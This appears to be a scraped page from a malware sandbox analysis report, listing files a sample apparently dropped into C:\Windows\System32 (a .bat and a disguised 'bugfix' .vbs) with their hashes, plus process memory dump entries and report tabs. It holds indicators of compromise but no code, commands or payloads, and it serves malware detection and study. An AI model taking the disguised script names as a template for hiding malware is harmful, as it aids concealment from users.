c611b6540b2e48283cbf4a8732d957ec700b94f3c78464980d34d09ff26d0c1147689d618d469e1f3051edc2b8436d08bf95e3622ffa0493a6e9ff6ee1c14728

Download Submit
C:\Windows\System32\iamthedoom.bat

Filesize
431B

MD5
7f577772568e8e2166472cfc8576f2a5

SHA1
19f00b639e0456bc990c2506d4e9d516f57a56c3

SHA256
de6bdd7e830e1df26ded7aee443e494869390dd08f2f14de277c4eb56699f640

SHA512
31f06800905fa4031d00c28a003059afa385dcaa4cff606a7805cbada80fdae2ad5518f5939d9a31c9a51dd9a0ea0af1cdb0b9e292d324023dcfbf227d7e47a9

Download Submit
C:\Windows\System32\wins32bugfix.vbs

Filesize
496B

MD5
e2d836beba8f0d92022fc8c07d42f684

SHA1
ca8904c7281ff138afbbb2690862a54ebdbd53e7

SHA256
2581cbeb3f35d83a6f90ed208a1f3ac8e59efbbeafbaab11c9d2b66c2333e1a3

SHA512
ead612bde359a4d0d7b305f8aeaee4d46595c8cbfbfecd0ff76c7dbc1b0156e2a6d5df76787c2c07134df1d4d0122f2b61a51b3287c026ec1e202228f0248ad7

Download Submit
memory/1248-2415-0x000007FEF72E0000-0x000007FEF732C000-memory.dmp

Filesize
304KB

Download
memory/1248-3419-0x000007FEF72E0000-0x000007FEF732C000-memory.dmp

Filesize
304KB

Download
memory/2208-2414-0x000007FEF72E0000-0x000007FEF732C000-memory.dmp

Filesize
304KB

Download
memory/2208-3410-0x000007FEF72E0000-0x000007FEF732C000-memory.dmp

Filesize
304KB

Download
memory/2244-2416-0x000007FEF72E0000-0x000007FEF732C000-memory.dmp

Filesize
304KB

Download
memory/2244-2918-0x000007FEF72E0000-0x000007FEF732C000-memory.dmp

Filesize
304KB

Download
memory/2496-3303-0x000007FEF72E0000-0x000007FEF732C000-memory.dmp

Filesize
304KB

Download
memory/2496-2417-0x000007FEF72E0000-0x000007FEF732C000-memory.dmp

Filesize
304KB

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads